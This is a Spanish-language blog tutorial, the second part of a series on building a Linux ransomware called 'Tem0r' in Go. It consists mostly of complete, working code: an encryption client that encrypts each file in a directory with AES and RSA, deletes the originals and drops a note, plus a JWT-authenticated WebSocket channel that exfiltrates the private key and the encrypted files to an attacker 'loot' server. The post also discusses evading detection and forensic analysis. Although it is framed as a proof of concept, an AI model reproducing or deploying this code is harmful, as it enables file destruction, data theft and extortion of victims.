Tem0r: construyendo un ransomware para Linux desde 0 (Parte 2)
En el anterior post de la serie introducíamos nuestra pieza de ransomware e implementábamos el core del cifrado y descifrado pero, como ya comentábamos, Tem0r incluye doble extorsión y por tanto nos falta la parte fundamental del envío/exfiltración de la información hacia el atacante…
Existen varias vías y canales encubiertos para ello, pero para la primera versión de nuestro «juguetito» vamos a usar WebSocket porque ofrece una comunicación bidireccional y persistente y además suele ser mas difícil de detectar que por ejemplo por un canal HTTP/HTTPS.
Vamos empezar primero enviando la clave privada ya que es fundamental para que el atacante la reciba de cara a esa posible extorsión posterior (para que la victima pueda descifrar los ficheros). Para enviarla a un servidor externo, necesitamos implementar el cliente WebSocket en el programa y establecer una conexión segura con el servidor.
SERVIDOR
Primero, añadimos la dependencia del paquete de WebSocket. Go ofrece bibliotecas externas para trabajar con WebSockets y una de las más populares es gorilla/websocket.
Creamos un directorio websocket_server, inicializamos y procedemos a instalar ese módulo:
Luego usaremos el siguiente código para crear un servidor que escucha en un puerto específico, acepta conexiones WebSocket y procesa los mensajes recibidos, guardando la clave en un archivo.
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Acepta conexiones desde cualquier origen (útil solo en desarrollo)
},
}
func handleWebSocket(w http.ResponseWriter, r *http.Request) {
// Actualiza la conexión HTTP a WebSocket
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("Error al actualizar la conexión:", err)
return
}
defer conn.Close()
// Espera recibir la clave privada como mensaje de texto
_, privateKeyBytes, err := conn.ReadMessage()
if err != nil {
log.Println("Error al leer el mensaje:", err)
return
}
// Guarda la clave privada en un archivo
err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
if err != nil {
log.Println("Error al guardar la clave privada:", err)
return
}
fmt.Println("Clave privada recibida y guardada como received_private.key")
}
func main() {
http.HandleFunc("/ws", handleWebSocket)
// Escucha en el puerto 8080 (puedes cambiar el puerto si es necesario)
port := "8080"
fmt.Println("Servidor WebSocket escuchando en el puerto", port)
log.Fatal(http.ListenAndServe(":"+port, nil))
}
Lo lanzamos y nos ponemos a la escucha:
CLIENTE
Ahora vamos con la parte del cliente. Creamos de forma similar un directorio para el cliente websocket_client, inicializamos e instalamos el módulo:
El código es el siguiente:
package main
import (
"fmt"
"io/ioutil"
"log"
"github.com/gorilla/websocket"
)
func main() {
privateKeyFile := "private.key"
serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket
// Leer el archivo de clave privada
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error leyendo el archivo de la clave privada:", err)
return
}
// Conectar al servidor WebSocket
conn, _, err := websocket.DefaultDialer.Dial(serverURL, nil)
if err != nil {
log.Fatal("Error al conectar con WebSocket:", err)
return
}
defer conn.Close()
// Enviar la clave privada al servidor
err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
if err != nil {
log.Println("Error al enviar la clave privada:", err)
return
}
fmt.Println("Clave privada enviada al servidor con éxito.")
}
Ahora lo ejecutamos y comprobamos que la clave se ha enviado con éxito.
Desde la víctima:
Y recibimos la clave privada en el servidor controlado por el atacante:
Evidentemente este código es para la primera prueba de concepto, bastante sencillo. Pero si nuestro servidor WebSocket está expuesto públicamente en ws://miserver:8080/ws, existe la posibilidad de que cualquier persona que conozca la dirección pueda intentar conectarse al servidor y enviar o recibir datos, incluyendo la clave privada que se está transmitiendo. Por lo tanto, lo mínimo que tendremos que hacer es autenticar al cliente para que sólo él pueda acceder y enviar la clave.
Podríamos restringir las conexiones WebSocket a un cliente específico (como un cliente «infectado» en nuestro caso), personalizando la función CheckOrigin del Upgrader para verificar la dirección IP origen del cliente que intenta conectarse:
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
// Cambia "192.168.1.100" por la IP de tu cliente infectado
allowedIP := "192.168.1.100"
clientIP := strings.Split(r.RemoteAddr, ":")[0] // Obtiene la IP del cliente
// Verifica si la IP del cliente coincide con la IP permitida
return clientIP == allowedIP
},
}
Sin embargo ya sabemos que las IPs suelen ser dinámicas o que las víctimas suelen encontrarse detrás de NAT y/o proxies por lo que preferiblemente vamos a optar por usar tokens de autenticación. Para ello vamos a usar JSON Web Tokens (JWT), que es un estándar ampliamente utilizado para la autenticación. Como antes, necesitaremos instalar la biblioteca correspondiente, en este caso para trabajar con JWT en Go. Podemos usar el repo github.com/golang-jwt/jwt. Ejecutamos el siguiente comando en el directorio de tu módulo:
Luego debemos generar un token JWT que será enviado por el cliente cuando intente conectarse al servidor WebSocket. Aquí tenemos el ejemplo:
package main
import (
"fmt"
"time"
"github.com/golang-jwt/jwt"
)
var mySigningKey = []byte("secret") // Cambia esto a una clave secreta más segura
func GenerateToken() (string, error) {
// Define los claims (datos que se incluirán en el token)
claims := jwt.MapClaims{
"authorized": true,
"exp": time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
}
// Crea el token
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
// Firma el token usando la clave secreta
tokenString, err := token.SignedString(mySigningKey)
if err != nil {
return "", err
}
return tokenString, nil
}
Después debemos modificar el servidor WebSocket para verificar el Token modificando la función CheckOrigin:
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"github.com/gorilla/websocket"
"github.com/golang-jwt/jwt"
)
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
// Extrae el token del encabezado de la solicitud
tokenString := r.Header.Get("Authorization")
tokenString = strings.TrimPrefix(tokenString, "Bearer ")
// Verifica el token
claims := &jwt.MapClaims{}
token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {
return []byte("secret"), nil // Debes usar la misma clave secreta
})
if err != nil || !token.Valid {
log.Println("Token inválido:", err)
return false // Rechaza la conexión si el token no es válido
}
return true // Permite la conexión si el token es válido
},
}
func handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("Error al actualizar la conexión:", err)
return
}
defer conn.Close()
_, privateKeyBytes, err := conn.ReadMessage()
if err != nil {
log.Println("Error al leer el mensaje:", err)
return
}
err = ioutil.WriteFile("received_private.key", privateKeyBytes, 0600)
if err != nil {
log.Println("Error al guardar la clave privada:", err)
return
}
fmt.Println("Clave privada recibida y guardada como received_private.key")
}
func main() {
http.HandleFunc("/ws", handleWebSocket)
port := "8080"
fmt.Println("Servidor WebSocket escuchando en el puerto", port)
log.Fatal(http.ListenAndServe(":"+port, nil))
}
A continuación, cuando el cliente intente conectarse, debe enviar el token JWT en el encabezado Authorization usando el mismo secret. Es decir, si el cliente firma el token con la misma clave que tiene configurado el servidor podrá conectar al WebSocket. Esta sería la manera más «dinámica» de autorizar subir info a la infra del atacante si bien, y seguro que algunos lo habéis pensado, habría que asegurarse que el binario del cliente no puede ser fácilmente reverseado para que un forense no obtenga esa clave hardcodeada. Eso o añadir otro o un método adicional para la autenticación de las posibles víctimas.
Pero bueno, eso será otro feature que implementaremos más adelante. De momento aquí tienes el ejemplo completo de cómo hacerlo desde el cliente:
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"github.com/gorilla/websocket"
)
func main() {
privateKeyFile := "private.key"
serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket
// Leer el archivo de clave privada
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error leyendo el archivo de la clave privada:", err)
return
}
// Generar un token (asegúrate de que el token se genere de manera similar al servidor)
token, err := GenerateToken() // Aquí debes implementar la función GenerateToken
if err != nil {
log.Fatal("Error generando el token:", err)
return
}
// Conectar al servidor WebSocket con el token
header := http.Header{}
header.Add("Authorization", "Bearer "+token)
conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
if err != nil {
log.Fatal("Error al conectar con WebSocket:", err)
return
}
defer conn.Close()
// Enviar la clave privada al servidor
err = conn.WriteMessage(websocket.TextMessage, privateKeyBytes)
if err != nil {
log.Println("Error al enviar la clave privada:", err)
return
}
fmt.Println("Clave privada enviada al servidor con éxito.")
}
Por último metemos todo en la «cocktelera» para que envíe primero la clave privada y luego cada uno de los archivos .crypted que va cifrando antes de borrarlos y tenemos prácticamente el artefacto cerrado y funcionando:
CLIENTE
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"time"
"github.com/golang-jwt/jwt"
"github.com/gorilla/websocket"
)
// Variable para la clave de firma del JWT
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura
// Genera un token JWT
func GenerateToken() (string, error) {
claims := jwt.MapClaims{
"authorized": true,
"exp": time.Now().Add(time.Minute * 5).Unix(), // Token expira en 5 minutos
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
tokenString, err := token.SignedString(mySigningKey)
if err != nil {
return "", err
}
return tokenString, nil
}
// TokenPayload representa el formato del payload enviado
type TokenPayload struct {
Token string `json:"token"`
Data []byte `json:"data"`
Name string `json:"name"`
}
func main() {
publicKeyFile := "public.key"
privateKeyFile := "private.key"
sourceDir := "/tmp/dummy"
serverURL := "ws://localhost:8080/ws" // Cambia esta URL a la de tu servidor WebSocket
// Leer el archivo de clave pública
publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
if err != nil {
fmt.Println("Error leyendo el archivo de clave pública:", err)
return
}
block, _ := pem.Decode(publicKeyBytes)
if block == nil {
fmt.Println("Error decodificando el bloque PEM que contiene la clave")
return
}
parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
fmt.Println("Error parseando la clave pública:", err)
return
}
publicKey, ok := parsedKey.(*rsa.PublicKey)
if !ok {
fmt.Println("Error: la clave cargada no es una clave pública RSA")
return
}
// Leer la clave privada para enviarla más tarde
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error leyendo la clave privada:", err)
return
}
// Generar un token JWT
token, err := GenerateToken()
if err != nil {
log.Fatal("Error generando el token:", err)
return
}
// Conectar al servidor WebSocket usando el token
header := http.Header{}
header.Add("Authorization", "Bearer "+token)
conn, _, err := websocket.DefaultDialer.Dial(serverURL, header)
if err != nil {
log.Fatal("Error al conectar con WebSocket:", err)
return
}
defer func() {
// Enviar el mensaje de cierre (close frame) al servidor
err := conn.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
if err != nil {
log.Println("Error enviando mensaje de cierre:", err)
}
conn.Close()
}()
// Enviar la clave privada al servidor
privatePayload := TokenPayload{
Token: token,
Data: privateKeyBytes,
Name: "private.key",
}
err = conn.WriteJSON(privatePayload)
if err != nil {
log.Println("Error al enviar la clave privada:", err)
return
}
fmt.Println("Clave privada enviada al servidor con éxito.")
// Crear el archivo ATTENTION.txt
attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
attentionContent := "This is only a PoC. Please, never pay for ransomware."
err = ioutil.WriteFile(attentionFile, []byte(attentionContent), 0644)
if err != nil {
log.Fatalf("Error creando ATTENTION.txt: %v", err)
}
// Recorre los archivos del directorio y cifra cada archivo
err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fmt.Println("Encrypting file:", path)
// Leer el archivo
data, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error leyendo el archivo %s: %v", path, err)
}
// Si el archivo es ATTENTION.txt, simplemente envíalo sin cifrar
if info.Name() == "ATTENTION.txt" {
attentionPayload := TokenPayload{
Token: token,
Data: data,
Name: "ATTENTION.txt",
}
err = conn.WriteJSON(attentionPayload)
if err != nil {
log.Println("Error al enviar ATTENTION.txt:", err)
return err
}
fmt.Println("ATTENTION.txt enviado al servidor.")
return nil
}
// Generar una clave AES aleatoria
aesKey := make([]byte, 32) // Tamaño de clave AES-256
if _, err := rand.Read(aesKey); err != nil {
return fmt.Errorf("error generando clave AES: %v", err)
}
// Cifrar el contenido del archivo usando AES
encryptedData, err := encryptAES(data, aesKey)
if err != nil {
return fmt.Errorf("error cifrando el contenido del archivo: %v", err)
}
// Cifrar la clave AES usando RSA y la clave pública
encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
if err != nil {
return fmt.Errorf("error cifrando la clave AES: %v", err)
}
// Combinar la clave cifrada y los datos cifrados
finalData := append(encryptedKey, encryptedData...)
// Guardar el archivo cifrado con la extensión .crypted
newPath := path + ".crypted"
err = ioutil.WriteFile(newPath, finalData, 0644)
if err != nil {
return fmt.Errorf("error escribiendo el archivo cifrado %s: %v", newPath, err)
}
fmt.Println("Archivo cifrado guardado como:", newPath)
// Eliminar el archivo original
if err := os.Remove(path); err != nil {
return fmt.Errorf("error eliminando el archivo original %s: %v", path, err)
}
fmt.Println("Archivo original eliminado:", path)
// Enviar el archivo .crypted al servidor WebSocket
cryptedPayload := TokenPayload{
Token: token,
Data: finalData,
Name: filepath.Base(newPath), // Nombre del archivo cifrado
}
err = conn.WriteJSON(cryptedPayload)
if err != nil {
log.Println("Error al enviar el archivo cifrado:", err)
return err
}
fmt.Println("Archivo cifrado enviado al servidor:", newPath)
}
return nil
})
if err != nil {
log.Println("Error durante el recorrido de los archivos:", err)
}
fmt.Println("Todos los archivos cifrados han sido enviados con éxito.")
}
// encryptAES cifra datos utilizando AES-GCM con la clave proporcionada
func encryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, aesGCM.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
return ciphertext, nil
}
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"github.com/golang-jwt/jwt"
"github.com/gorilla/websocket"
)
// Clave secreta utilizada para firmar el token
var mySigningKey = []byte("secret") // Cambia esto a una clave más segura
// TokenPayload representa el formato del payload recibido
type TokenPayload struct {
Token string `json:"token"`
Data []byte `json:"data"`
Name string `json:"name"`
}
// Verificar el token JWT
func ValidateToken(tokenString string) (bool, error) {
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("token firmado con otro método")
}
return mySigningKey, nil
})
if err != nil {
return false, err
}
return token.Valid, nil
}
// Crear el directorio "loot" si no existe
func createLootDirectory() string {
lootDir := "loot"
if _, err := os.Stat(lootDir); os.IsNotExist(err) {
err := os.Mkdir(lootDir, 0755)
if err != nil {
log.Fatalf("Error al crear el directorio loot: %v", err)
}
}
return lootDir
}
// Manejar las conexiones WebSocket
func handleConnection(w http.ResponseWriter, r *http.Request) {
// Upgrade la conexión a WebSocket
conn, err := websocket.Upgrade(w, r, nil, 1024, 1024)
if err != nil {
log.Println("Error al actualizar la conexión:", err)
return
}
defer conn.Close()
log.Println("Nueva conexión establecida.")
// Crear el directorio loot si no existe
lootDir := createLootDirectory()
for {
var payload TokenPayload
// Leer el mensaje del cliente
err := conn.ReadJSON(&payload)
if err != nil {
// Comprobar si el error es un cierre normal (código 1000)
if websocket.IsCloseError(err, websocket.CloseNormalClosure) {
log.Println("Conexión cerrada de forma normal (código 1000)")
break
}
log.Println("Error leyendo mensaje:", err)
break
}
// Validar el token
isValid, err := ValidateToken(payload.Token)
if err != nil || !isValid {
log.Println("Token inválido:", err)
continue
}
// Guardar la clave privada o el archivo .crypted en el directorio "loot"
filePath := filepath.Join(lootDir, payload.Name)
if payload.Name == "private.key" {
// Guardar la clave privada
err = ioutil.WriteFile(filePath, payload.Data, 0600) // Guardar la clave privada con permisos seguros
if err != nil {
log.Println("Error guardando la clave privada:", err)
continue
}
log.Println("Clave privada recibida y guardada en:", filePath)
} else if filepath.Ext(payload.Name) == ".crypted" {
// Guardar el archivo cifrado
err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo cifrado
if err != nil {
log.Println("Error guardando el archivo cifrado:", err)
continue
}
log.Println("Archivo cifrado recibido y guardado en:", filePath)
} else {
// Guardar otros archivos como ATTENTION.txt
err = ioutil.WriteFile(filePath, payload.Data, 0644) // Guardar el archivo
if err != nil {
log.Println("Error guardando el archivo:", err)
continue
}
log.Println("Archivo recibido y guardado en:", filePath)
}
}
}
func main() {
http.HandleFunc("/ws", handleConnection)
fmt.Println("Servidor WebSocket escuchando en ws://localhost:8080/ws")
err := http.ListenAndServe(":8080", nil)
if err != nil {
log.Fatal("Error al iniciar el servidor:", err)
}
}
Powered by WPeMatico